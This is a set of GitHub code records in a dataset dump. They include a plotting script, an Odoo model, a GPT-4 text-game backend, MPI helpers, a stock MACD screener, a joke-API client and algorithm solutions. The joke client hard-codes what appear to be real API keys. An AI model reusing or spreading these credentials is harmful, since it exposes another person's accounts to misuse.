plt.bar(L_list,RCNN_time_pd['RCNN_2000_10'],color='r',width=0.4,label='RCNN(BA_2000_10)')\r\n    plt.bar(L_list,MRCNN_time_pd['MRCNN_2000_10'],color='b',width=0.4,label='MRCNN(BA_2000_10)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.text(5.7,10.05,'(e)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(336)\r\n    plt.bar(L_list,RCNN_time_pd['RCNN_2000_20'],color='r',width=0.4,label='RCNN(BA_2000_20)')\r\n    plt.bar(L_list,MRCNN_time_pd['MRCNN_2000_20'],color='b',width=0.4,label='MRCNN(BA_2000_20)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.text(5.7,17.05,'(f)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(337)\r\n    plt.bar(L_list,RCNN_time_pd['RCNN_3000_4'],color='r',width=0.4,label='RCNN(BA_3000_4)')\r\n    plt.bar(L_list,MRCNN_time_pd['MRCNN_3000_4'],color='b',width=0.4,label='MRCNN(BA_3000_4)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.xlabel(r'$L$',fontsize=24,fontweight='bold')\r\n    plt.ylabel('Time(s)',fontsize=24,fontweight='bold')\r\n    plt.text(5.5,10.35,'(g)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(338)\r\n    plt.bar(L_list,RCNN_time_pd['RCNN_3000_10'],color='r',width=0.4,label='RCNN(BA_3000_10)')\r\n    plt.bar(L_list,MRCNN_time_pd['MRCNN_3000_10'],color='b',width=0.4,label='MRCNN(BA_3000_10)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.xlabel(r'$L$',fontsize=24,fontweight='bold')\r\n    plt.text(5.7,14.9,'(h)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(339)\r\n    plt.bar(L_list,RCNN_time_pd['RCNN_3000_20'],color='r',width=0.4,label='RCNN(BA_3000_20)')\r\n    plt.bar(L_list,MRCNN_time_pd['MRCNN_3000_20'],color='b',width=0.4,label='MRCNN(BA_3000_20)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.xlabel(r'$L$',fontsize=24,fontweight='bold')\r\n    plt.text(5.7,29.0,'(i)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n    plt.tight_layout()\r\n    plt.show()\r\n\r\n    # time needed (input+training)\r\n    plt.figure(figsize=(20,16),dpi=200)\r\n    plt.subplot(331)\r\n    plt.bar(L_list,RCNN_time_train_pd['RCNN_1000_4'],color='r',width=0.4,label='RCNN(BA_1000_4)')\r\n    plt.bar(L_list,MRCNN_time_train_pd['MRCNN_1000_4'],color='b',width=0.4,label='MRCNN(BA_1000_4)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.ylabel('Time(s)',fontsize=24,fontweight='bold')\r\n    plt.text(5.5,3,'(a)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n    #plt.legend(loc=0,fontsize=16)\r\n\r\n    plt.subplot(332)\r\n    plt.bar(L_list,RCNN_time_train_pd['RCNN_1000_10'],color='r',width=0.4,label='RCNN(BA_1000_10)')\r\n    plt.bar(L_list,MRCNN_time_train_pd['MRCNN_1000_10'],color='b',width=0.4,label='MRCNN(BA_1000_10)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.text(5.7,4.5,'(b)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(333)\r\n    plt.bar(L_list,RCNN_time_train_pd['RCNN_1000_20'],color='r',width=0.4,label='RCNN(BA_1000_20)')\r\n    plt.bar(L_list,MRCNN_time_train_pd['MRCNN_1000_20'],color='b',width=0.4,label='MRCNN(BA_1000_20)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.text(5.7,6.95,'(c)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(334)\r\n    plt.bar(L_list,RCNN_time_train_pd['RCNN_2000_4'],color='r',width=0.4,label='RCNN(BA_2000_4)')\r\n    plt.bar(L_list,MRCNN_time_train_pd['MRCNN_2000_4'],color='b',width=0.4,label='MRCNN(BA_2000_4)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.ylabel('Time(s)',fontsize=24,fontweight='bold')\r\n    plt.text(5.5,8.5,'(d)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(335)\r\n    plt.bar(L_list,RCNN_time_train_pd['RCNN_2000_10'],color='r',width=0.4,label='RCNN(BA_2000_10)')\r\n    plt.bar(L_list,MRCNN_time_train_pd['MRCNN_2000_10'],color='b',width=0.4,label='MRCNN(BA_2000_10)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.text(5.7,10.05,'(e)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(336)\r\n    plt.bar(L_list,RCNN_time_train_pd['RCNN_2000_20'],color='r',width=0.4,label='RCNN(BA_2000_20)')\r\n    plt.bar(L_list,MRCNN_time_train_pd['MRCNN_2000_20'],color='b',width=0.4,label='MRCNN(BA_2000_20)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.text(5.7,17.05,'(f)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(337)\r\n    plt.bar(L_list,RCNN_time_train_pd['RCNN_3000_4'],color='r',width=0.4,label='RCNN(BA_3000_4)')\r\n    plt.bar(L_list,MRCNN_time_train_pd['MRCNN_3000_4'],color='b',width=0.4,label='MRCNN(BA_3000_4)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.xlabel(r'$L$',fontsize=24,fontweight='bold')\r\n    plt.ylabel('Time(s)',fontsize=24,fontweight='bold')\r\n    plt.text(5.5,10.35,'(g)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(338)\r\n    plt.bar(L_list,RCNN_time_train_pd['RCNN_3000_10'],color='r',width=0.4,label='RCNN(BA_3000_10)')\r\n    plt.bar(L_list,MRCNN_time_train_pd['MRCNN_3000_10'],color='b',width=0.4,label='MRCNN(BA_3000_10)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.xlabel(r'$L$',fontsize=24,fontweight='bold')\r\n    plt.text(5.7,14.9,'(h)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n\r\n    plt.subplot(339)\r\n    plt.bar(L_list,RCNN_time_train_pd['RCNN_3000_20'],color='r',width=0.4,label='RCNN(BA_3000_20)')\r\n    plt.bar(L_list,MRCNN_time_train_pd['MRCNN_3000_20'],color='b',width=0.4,label='MRCNN(BA_3000_20)')\r\n    plt.xticks(l_list,[str(i) for i in L_list],fontsize=20)\r\n    plt.yticks(fontsize=20)\r\n    plt.xlabel(r'$L$',fontsize=24,fontweight='bold')\r\n    plt.text(5.7,29.0,'(i)', fontsize=24)\r\n    plt.legend(loc='best',fontsize=16)\r\n    plt.tight_layout()\r\n    plt.show()\r\n","repo_name":"OuYangg/Multi-channel-RCNN","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":58117,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"23712431502","text":"# -*- coding: utf-8 -*-\nfrom openerp import fields, models, api\n\n\nclass WkfConfigDocType(models.Model):\n    _name = 'wkf.config.doctype'\n    _description = 'Work Flow Document Type Configuration'\n\n    name = fields.Char(\n        string='Name',\n        required=True,\n        size=500,\n    )\n    description = fields.Text(\n        string='Description',\n        size=100,\n    )\n    module = fields.Selection([\n        ('purchase', \"Purchase & Inventory\"),\n        ('purchase_pd', \"Purchase PD\"),\n        ('account', \"Accounting & Finance\"), ],\n        string='Module',\n        required=True,\n    )\n\n\nclass WkfCmdApprovalLevel(models.Model):\n    _name = 'wkf.cmd.level'\n    _description = 'Level'\n\n    sequence = fields.Integer(\n        string='Sequence',\n    )\n    name = fields.Char(\n        string='Name',\n        required=True,\n    )\n    description = fields.Text(\n        string='Description',\n        size=1000,\n    )\n\n\nclass WkfCmdApprovalAmount(models.Model):\n    _name = 'wkf.cmd.approval.amount'\n    _description = 'Basis Approval Amount'\n\n    org_id = fields.Many2one(\n        'res.org',\n        string='Org',\n        required=True,\n    )\n    doctype_id = fields.Many2one(\n        'wkf.config.doctype',\n        string='Document Type',\n        required=True,\n    )\n    level = fields.Many2one(\n        'wkf.cmd.level',\n        string='Level',\n        required=True,\n    )\n    amount_max = fields.Float(\n        string='Maximum',\n    )\n    amount_max_emotion = fields.Float(\n        string='Maximum Emotion',\n        compute='_compute_amount_max_emotion',\n        store=True,\n        help=\"This is an internally used field by Alfresco \"\n        \"Amount = 0.01 signify always in approval workflow.\"\n    )\n\n    @api.multi\n    @api.depends('org_id.level_emotion')\n    def _compute_amount_max_emotion(self):\n        for rec in self:\n            if rec.org_id.level_emotion:\n                if rec.level.sequence < rec.org_id.level_emotion.sequence:\n                    rec.amount_max_emotion = 0.01  # Alfresco read this value\n                else:\n                    rec.amount_max_emotion = rec.amount_max\n            else:\n                rec.amount_max_emotion = rec.amount_max\n","repo_name":"ecosoft-odoo/pb2_addons","sub_path":"pabi_workflow/models/wkf_config_base.py","file_name":"wkf_config_base.py","file_ext":"py","file_size_in_byte":2185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"72697612581","text":"import openai\nimport json\nimport re\nimport random\n\nopenai.api_key_path = 'openai_key'\n\nstats = {}\nmessages = [\n    {\n        'role': 'system',\n        'content': 'You are going to control a game defined by a ' + \n                    'prompt given to you. You will create the player\\'s ' +\n                    'character a full background and will generate all their stats. ' +\n                    'You will add the struct ITEMSTATS: {\"Health\"\\: <health>, ' +\n                    '\"SP\"\\: <sp>, \"Items\"\\: []} ' +\n                    'at the end of all your messages. Generate a character only once.'\n    },\n    {\n        'role': 'assistant',\n        'content': 'Tell me your prompt for the setting, and I will generate your' +\n                   'character and all their stats using that.'\n    }\n]\n\nsentiment_message = [\n    {\n        'role': 'system', \\\n        'content': 'You are a sentiment analysis detector that detects if text is angry, sad, happy ' +\\\n                'or neutral. If the text is angry, you will reply with only \\'A\\'. If the text is sad, ' +\\\n                'you will reply with only \\'S\\'. If the text is neutral, you will reply with only \\'N\\'.  If the ' +\\\n                'text is happy, you will reply with only \\'H\\'.',\n    }, \n    {\n        'role': 'user', 'content': 'I\\'m so pissed!'\n    },\n    {\n        'role': 'assistant', 'content': 'A'\n    }\n]\n\nhappy_emojis = ['q(≧▽≦q)', 'ヾ(≧▽≦*)o', 'ψ(｀∇´)ψ', 'O(∩_∩)O', '(✿◡‿◡)', '(*^_^*)', '(*^▽^*)', '\\^o^/', 'o(*^▽^*)┛', '(≧∀≦)ゞ', '( $ _ $ )', '(/≧▽≦)/', 'ヾ(≧ ▽ ≦)ゝ', 'o((>ω< ))o', '(☆▽☆)', '( •̀ ω •́ )y']\nangry_emojis = ['╰（‵□′）╯', '(╬▔皿▔)╯', '￣へ￣', '( ˘︹˘ )', '╚(•⌂•)╝', '○|￣|_ =3', '(°ロ°)', '(╯▔皿▔)╯', '(╯‵□′)╯︵┻━┻', 'ಠ╭╮ಠ', '(ㆆ_ㆆ)', 'ಠಿ_ಠ']\nsad_emojis = ['/_ \\\\', '＞﹏＜', '(っ °Д °;)っ', 'ಥ_ಥ', '~~>_<~~', 'X﹏X', '┗( T﹏T )┛', '(；′⌒`)', 'இ௰இ', '<(＿　＿)>', 'X﹏X', '(;´༎ຶД༎ຶ`)', 'o(￣┰￣*)ゞ']\nneutral_emojis = ['(^人^)', 'ψ(._. )>', '(⓿_⓿)', '=￣ω￣=', '(✿◕‿◕✿)', '(￣﹃￣)', '(^◕.◕^)', '(ʘᴥʘ)', '(^._.^)ﾉ', '( ͡~ ͜ʖ ͡°)', '( ͡° ͜ʖ ͡°)', '( ͡• ͜ʖ ͡• )', '(ʘ ͜ʖ ʘ)', 'ᓚᘏᗢ', 'ฅʕ•̫͡•ʔฅ', '( ͠° ͟ʖ ͡°)', '(:≡']\nconfused_emojis = ['¯\\_(ツ)_/¯', '¯\\_( ͡° ͜ʖ ͡°)_/¯', '＼（〇_ｏ）／', '(´･ω･`)?', '¯\\(°_o)/¯', 'ㄟ( ▔, ▔ )ㄏ', '(+_+)?', '╮(╯-╰)╭', '(￣_￣|||)', '┑(￣Д ￣)┍', '◉_◉', '╮(╯▽╰)╭', '(ˉ▽ˉ；)...']\n\ndef display_stats():\n    # print(stats)\n    for stat in stats:\n        print(stat + \": \" + str(stats[stat]))\n        if stat == 'Items':\n            for item in stats['Items']:\n                print(item)\n\ndef process_response(response):\n    message_resp = response['choices'][0]['message']['content']\n    message_piece = message_resp.split('ITEMSTATS: ')\n    messages.append({'role': response['choices'][0]['message']['role'], 'content': message_piece[0]})\n    if len(message_piece) == 1:\n        mess_copy = messages\n        mess_copy.append({'role':'user', 'content': 'give me ITEMSTATS'})\n        response = openai.ChatCompletion.create(\n            model=\"gpt-4\",\n            messages=mess_copy\n        )\n        message_resp += response['choices'][0]['message']['content']\n        # if len(message_resp.split('ITEMSTATS: ')) != 2:\n        #     print('-------------------------------------------------')\n        #     print(message_resp)\n        message_piece.append(message_resp.split('ITEMSTATS: ')[1])\n\n    message, stats_str = message_piece\n    search = re.search(\"{[^{}]*}\", stats_str)\n    return message.strip(), json.loads(search.group())\n\ndef prompt_user(prompt):\n    # prompt = input('Please describe the setting of the game you want to play:\\n> ')\n    messages.append({'role':'user', 'content': prompt})\n    try:\n        response = openai.ChatCompletion.create(\n            model=\"gpt-4\",\n            messages=messages\n        )\n        # process_response(response)\n        # messages.append({'role':'user', 'content': 'Where am I'})\n        # response = openai.ChatCompletion.create(\n        #     model=\"gpt-4\",\n        #     messages=messages\n        # )\n        message_resp = response['choices'][0]['message']['content']\n        message, stat = process_response(response)\n    except:\n        return \"Error: ChatGPT is being mean 🐄. The prompt might be invalid.\", 1\n    global stats\n    stats = stat\n    return message, 0\n    # print(message)\n\ndef game_loop(prompt):\n    # prompt = input('\\n> ')\n    if prompt == 'stats':\n        display_stats()\n    else:\n        messages.append({'role':'user', 'content': prompt})\n        try:\n            response = openai.ChatCompletion.create(\n                model=\"gpt-4\",\n                messages=messages\n            )\n            message_resp = response['choices'][0]['message']['content']\n            message, stat = process_response(response)\n        except Exception as e:\n            print(e)\n            return \"Error: ChatGPT is being mean 🐄. Try again in 20s.\", 1\n        global stats\n        stats = stat\n        messages.append({'role': response['choices'][0]['message']['role'], 'content': message})\n        return message, 0\n        # print(message)\n\ndef sentiment_emoji(message):\n    if message[:5] == 'ERROR':\n        return random.choice(sad_emojis)\n    sent = sentiment_message + [{'role':'user', 'content': message}]\n    try:\n        response = openai.ChatCompletion.create(\n            model=\"gpt-4\",\n            messages=sent\n        )\n        message_resp = response['choices'][0]['message']['content'].strip()\n        if (message_resp[0] == 'S'):\n            return random.choice(sad_emojis)\n        elif (message_resp[0] == 'H'):\n            return random.choice(happy_emojis)\n        elif (message_resp[0] == 'A'):\n            return random.choice(angry_emojis)\n        elif (message_resp[0] == 'N'):\n            return random.choice(neutral_emojis)\n        else:\n            return random.choice(confused_emojis)\n    except:\n        return random.choice(confused_emojis)\n\n# prompt_user()\n\n# while (True):\n#     game_loop()\n\n\n","repo_name":"aayushiron/DeluluGen","sub_path":"game_backend.py","file_name":"game_backend.py","file_ext":"py","file_size_in_byte":6278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31221243667","text":"# File taken, with permission, from https://github.com/skyranakis/HophacksNLP\n\nimport json\nimport requests\nimport pandas as pd\n\nfrom config import *\n\ndef create_query_line(queries):\n    line = '{\"queries\": [\"'\n    for i, query in enumerate(queries[:-1]):\n        line += query\n        line += '\", \"'\n    line += queries[-1]\n    line += '\"]}'\n    return line\n\n\ntrain = pd.read_csv(TRAIN_QUERIES_FILE_PATH, sep='\\t', header=None)\ndev = pd.read_csv(DEV_QUERIES_FILE_PATH, sep='\\t', header=None)\neval = pd.read_csv(EVAL_QUERIES_FILE_PATH, sep='\\t', header=None)\ntotal = pd.concat([train, dev, eval], axis=0)\n\ntotal.columns = ['unknown', 'query']\ntotal = total['query']\n\ncounter = 0\nmax_index = total.shape[0]\ndataframe = pd.DataFrame()\nwhile counter < max_index:\n    if counter % 1000 == 0:\n        print('Currently at {} of {}'.format(counter, max_index))\n    queries = total.iloc[counter:(counter + 100)].values.tolist()\n    counter += 100\n\n    url = \"https://api.msturing.org/gen/encode\"\n    apikey = GEN_ENCODER_API_KEY \n    headers = {'Ocp-Apim-Subscription-Key':apikey}\n    params = {'queries':queries}\n\n    r = requests.post(url = url, json = params, headers = headers)\n    try:\n        data = json.loads(r.json())\n        temp = pd.DataFrame(data)\n        dataframe = dataframe.append(temp)\n    except:\n        pass\n\nprint('Currently at {} of {}, saving'.format(counter, max_index))\n\n# dataframe['query'] = dataframe['query'].apply(lambda x: ''.join([\" \" if ord(i) < 32 or ord(i) > 126 else i for i in x]))\ndataframe.to_csv(EMBEDDINGS_CSV_DATA, index=False)","repo_name":"ykl7/simmrr","sub_path":"get_vectors.py","file_name":"get_vectors.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"42109290360","text":"N = int(input())\n\nNOT_VISITED = 99999999\ngraph = [[] for j in range(N)]\n\nfor i in range(N):\n    lst = list(map(int, input().split()))\n    node = lst[0]\n    node -= 1\n    idx = 1\n    while lst[idx] != -1:\n        another_node, cost = lst[idx], lst[idx+1]\n        another_node -= 1\n        graph[node].append((another_node, cost))\n        graph[another_node].append((node, cost))\n        idx += 2\n\nresult = -1\ncosts = [0 for x in range(N)]\n\n\ndef dfs(visited, idx, cost):\n    global result\n    result = max(result, cost)\n    costs[idx] = cost\n    visited[idx] = True\n    for (i, c) in graph[idx]:\n        if not visited[i]:\n            dfs(visited, i, cost + c)\n\n\ndfs([False for x in range(N)], 0, 0)\n\nresult = -1\n\nargmax = -1\nmax_val = -1\nfor i in range(N):\n    if max_val < costs[i]:\n        argmax = i\n        max_val = costs[i]\n\ndfs([False for x in range(N)], argmax, 0)\n\nprint(result)\n","repo_name":"C-B-U/algorithm_challenge","sub_path":"시즌2/상/dps0340/0815_4_dps0340.py","file_name":"0815_4_dps0340.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"38612188137","text":"#! /usr/bin/env python3\n'''\nCommon tools for azure-hpc-io benchmarking\n'''\n\nimport sys, configparser\nimport numpy as np\nfrom mpi4py import MPI\n\ndef collect_bench_metrics(time, precision = 3):\n\t'''\n\tClollect input benchmarking metrics\n\n\tparam:\n\t time: elapsed time for a single reading\n\t\n\treturn:\n\t max_time: maximum operation time\n\t min_time: minimum operation time\n\t avg_time: average operation time\n\t'''\n\t# Metrics\n\tread_time = np.zeros(1)\n\tmax_read_time = np.zeros(1)\n\tmin_read_time = np.zeros(1)\n\tavg_read_time = np.zeros(1)\n\tread_time[0] = time\n\n\tMPI.COMM_WORLD.Reduce(read_time, max_read_time, MPI.MAX)\n\tMPI.COMM_WORLD.Reduce(read_time, min_read_time, MPI.MIN)\n\tMPI.COMM_WORLD.Reduce(read_time, avg_read_time, MPI.SUM)\n\n\tmax_read_time[0] = round(max_read_time[0], precision)\n\tmin_read_time[0] = round(min_read_time[0], precision)\n\tavg_read_time[0] = round(avg_read_time[0] / MPI.COMM_WORLD.Get_size(), precision)\n\n\treturn max_read_time[0], min_read_time[0], avg_read_time[0]\n\ndef get_mpi_env():\n\t'''\n\tGet MPI environmental parameters.\n\n\treturn:\n\t [int]rank : rank of current process\n\t [int]size : size of processes used in MPI_COMM_WORLD\n\t [str]processor_name : current processor name\n\t'''\n\treturn MPI.COMM_WORLD.Get_rank(), MPI.COMM_WORLD.Get_size(), MPI.Get_processor_name()\n\ndef workload_generator(item, count):\n\treturn bytes(item for i in range(0, count))","repo_name":"Yiiinsh/azure-hpc-io","sub_path":"common/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6131974041","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport random\n\n#%% Initialization\n\n# Maximum iteration\nMax_It = 100000\n\n# Record of points which are outside the circle\nOut_x = []\nOut_y = []\n\n# Record of points which are inside the circle\nIn_x = []\nIn_y = []\n\n#%% Monte Carlo loop\n\ni = 0\nwhile (i <= Max_It):\n    \n    # Random numbers between -0.5 and 0.5\n    x = random.uniform(0, 1) - 0.5\n    y = random.uniform(0, 1) - 0.5\n    \n    # distance from the origin\n    d = (x**2 + y**2)**0.5\n    \n    if d > 0.5:\n        Out_x.append(x)\n        Out_y.append(y)\n    \n    elif d < 0.5:\n        In_x.append(x)\n        In_y.append(y)\n    \n    # Loop update\n    i = i + 1\n\n#%% Pi\n    \nPi = 4* len(In_x)/ ( len(In_x) + len(Out_x) )\n\nprint('With ' + str(Max_It) + ' Iterations, the value of Pi is ' + str(Pi))\n\n#%% Plot\n\nimport matplotlib.pyplot as plt\nfig, ax = plt.subplots()\n\n# Points\nIn     = (In_x,  In_y)\nOut    = (Out_x, Out_y)\ndata   = (In, Out)\ncolors = ('r', 'b')\n\nfor data, color in zip(data, colors):\n    x, y = data\n    ax.scatter(x, y, c = color, edgecolors = 'none', alpha = 0.5)\n\n# Square\nplt.plot([-0.5,-0.5,0.5,0.5,-0.5], [-0.5,0.5,0.5,-0.5,-0.5], linewidth = 3)\n\n# Circle\ncir = plt.Circle((0, 0), 0.5, fill = False, linewidth = 3, edgecolor = 'b')\nax.add_artist(cir)\n\nplt.title('Monte Carlo', fontweight = 'bold', fontsize = 16)\nplt.xlabel('X', fontweight = 'bold', fontsize = 14)\nplt.ylabel('Y', fontweight = 'bold', fontsize = 14)\nplt.axis('square')\nplt.show()\n","repo_name":"PyPhy/Python","sub_path":"Fun codes/Motne_Carlo_Pi.py","file_name":"Motne_Carlo_Pi.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"18894528519","text":"\nimport numpy as np\nimport pandas as pd\nfrom os import path\nimport matplotlib.pyplot as plt\nfrom fbprophet.plot import plot_plotly\nimport plotly.express as px\nimport plotly.graph_objects as go\n\nfrom datetime import datetime\nfrom datetime import timedelta\n\nimport pandas_ta as ta\n\n\nprediction_period = 60\nworking_days = 5 * prediction_period // 7\nfound_shares = 0\n\n\ndata_file_name = 'data/tickers/historical.xlsx'\nif path.exists(data_file_name):\n    data = pd.read_excel(data_file_name, index_col=0, header=[0, 1])\n\nTICKERS = set([t[0] for t in data.columns.values])\n\nfor ticker in TICKERS:\n    print(f'Checking {ticker}...')\n\n    ticker_data = data[ticker]['Close']\n\n    if len(ticker_data) < 100:\n        print(f'{ticker} has not enough data to make predictions')\n        continue\n\n    if np.isnan(ticker_data.values[-1]):\n        print(f'{ticker} has not data (NaN) to make predictions')\n        continue\n\n    # Split data to cut last known 30 days and make a prediction for these days\n    # to compare prediction and real data for the last period:\n    past_data = ticker_data[:-working_days].reset_index()\n    last_data = ticker_data[-working_days:].reset_index()\n\n    ema_long = past_data['Close'].ewm(span=200, adjust=False).mean()\n\n    past_data.ta.macd(close='close', fast=12, slow=26, signal=9, append=True)\n\n    # ignore share with high price\n    if past_data['Close'].values[-1] > 30:\n        continue\n\n    # ignore shares if price under long EMA\n    signal_ema = True\n    # if past_data['Close'].values[-1] < ema_long.values[-1]\n    for i in range(20):\n        if past_data['Close'].values[-i] < ema_long.values[-i]:\n            signal_ema = False\n\n    signal = False\n    if past_data['MACDs_12_26_9'].values[-1] < past_data['MACD_12_26_9'].values[-1]:\n        for i in range(2, 6):\n            if past_data['MACDs_12_26_9'].values[-i] > past_data['MACD_12_26_9'].values[-i]:\n                signal = True\n\n    \"\"\"\n    signal_macd = False\n    for i in range(5):\n        if past_data['MACD_12_26_9'].values[-i] < -0.5:\n            signal_macd = True\n    \"\"\"\n    if signal and signal_ema:\n\n        graph = go.Figure()\n        graph.add_scatter(x=past_data['Date'], y=past_data['Close'],\n                          name=f'{ticker} Closed price')\n        graph.add_scatter(x=last_data['Date'], y=last_data['Close'], mode='lines',\n                          name=f'{ticker} Closed price future fact')\n\n        graph.add_scatter(x=past_data['Date'], y=ema_long, mode='lines', name='EMA 200')\n\n        graph.add_scatter(x=past_data['Date'], y=past_data['MACD_12_26_9'], mode='lines', name='MACD')\n        graph.add_scatter(x=past_data['Date'], y=past_data['MACDs_12_26_9'], mode='lines', name='signal')\n\n        graph.update_layout(height=1000, width=1500)\n        graph.show()\n\n        print('* ' * 20)\n        print(f'Buy: {ticker}')\n\n        found_shares += 1\n        if found_shares >= 10:\n            exit(1)\n","repo_name":"TimurNurlygayanov/forecasting","sub_path":"combo/get_shares_by_macd.py","file_name":"get_shares_by_macd.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19602229740","text":"import requests\n\nclass JokeGen:\n    def __init__(self):\n        '''\n        initizalies url that will be made within get method\n        '''\n        self.url = \"https://random-stuff-api.p.rapidapi.com/joke/puns\"\n        self.headers = {\n        \"Authorization\": \"fNeIOlZkVgW2\",\n        \"X-RapidAPI-Key\": \"e4559b15fcmshbbcc465f05bd11fp1799d7jsn722eb9035409\",\n        \"X-RapidAPI-Host\": \"random-stuff-api.p.rapidapi.com\"\n    }\n        self.querystring = {\"exclude\":\"sex\"}\n\n    def get(self):\n        '''\n        used to obtain joke to be used within imagegenerator file\n        return:\n            joke(str): returns one randomly chosen joke from API\n        '''\n        response = requests.request(\"GET\", self.url, headers=self.headers, params=self.querystring)\n        joke = response.json()[\"message\"]\n        return (joke)","repo_name":"bucs110SPRING23/portfolio-sunkistcap","sub_path":"ch10/final/src/jokegenerator.py","file_name":"jokegenerator.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37474344952","text":"from itertools import combinations\nfrom collections import Counter\n\ndef order2course(idx_list, orders, course_dict):\n    order_all = []\n    for idx in idx_list:\n        order_all.extend(orders[idx])\n    order_count = Counter(order_all)\n\n    common_menu = []\n    for menu in order_count:\n        if order_count[menu] >= 2:\n            common_menu.append(menu)\n    common_menu = sorted(common_menu)\n\n    if len(common_menu) >= 2:\n        for menu_num in course_dict:\n            for _ in list(combinations(common_menu, menu_num)):\n                course_dict[menu_num].append(_)\n\n    return course_dict\n\ndef solution_(orders, course):\n    len_orders = len(orders)\n    orders_ = []\n    for order_ in orders:\n        orders_.append([*order_])\n\n    course_dict = {key:[] for key in course}\n    for idx_list in combinations(range(len_orders), 2):\n        course_dict = order2course(idx_list, orders_, course_dict)\n\n    answer = []\n    for menu_num in course_dict:\n        if course_dict[menu_num]:\n            course_count = Counter(course_dict[menu_num])\n            most_common_num = course_count.most_common()[0][1]\n            for course_ in course_count:\n                if course_count[course_] == most_common_num:\n                    answer.append(''.join(list(course_)))\n\n    return sorted(answer)\n\n\ndef solution(orders, course):\n    result = []\n\n    for course_size in course:\n        order_combinations = []\n        for order in orders:\n            order_combinations += combinations(sorted(order), course_size)\n\n        most_ordered = Counter(order_combinations).most_common()\n        print(most_ordered)\n        result += [ k for k, v in most_ordered if v > 1 and v == most_ordered[0][1] ]\n\n    return [ ''.join(v) for v in sorted(result) ]\n\nprint(solution([\"ABCFG\", \"AC\", \"CDE\", \"ACDE\", \"BCFG\", \"ACDEH\"], [2,3,4]))\nprint(solution([\"ABCDE\", \"AB\", \"CD\", \"ADE\", \"XYZ\", \"XYZ\", \"ACD\"], [2,3,5]))\nprint(solution([\"XYZ\", \"XWY\", \"WXA\"], [2,3,4]))","repo_name":"ujos89/1day1problem","sub_path":"programmers/kakao/blind_2021/k1_2.py","file_name":"k1_2.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
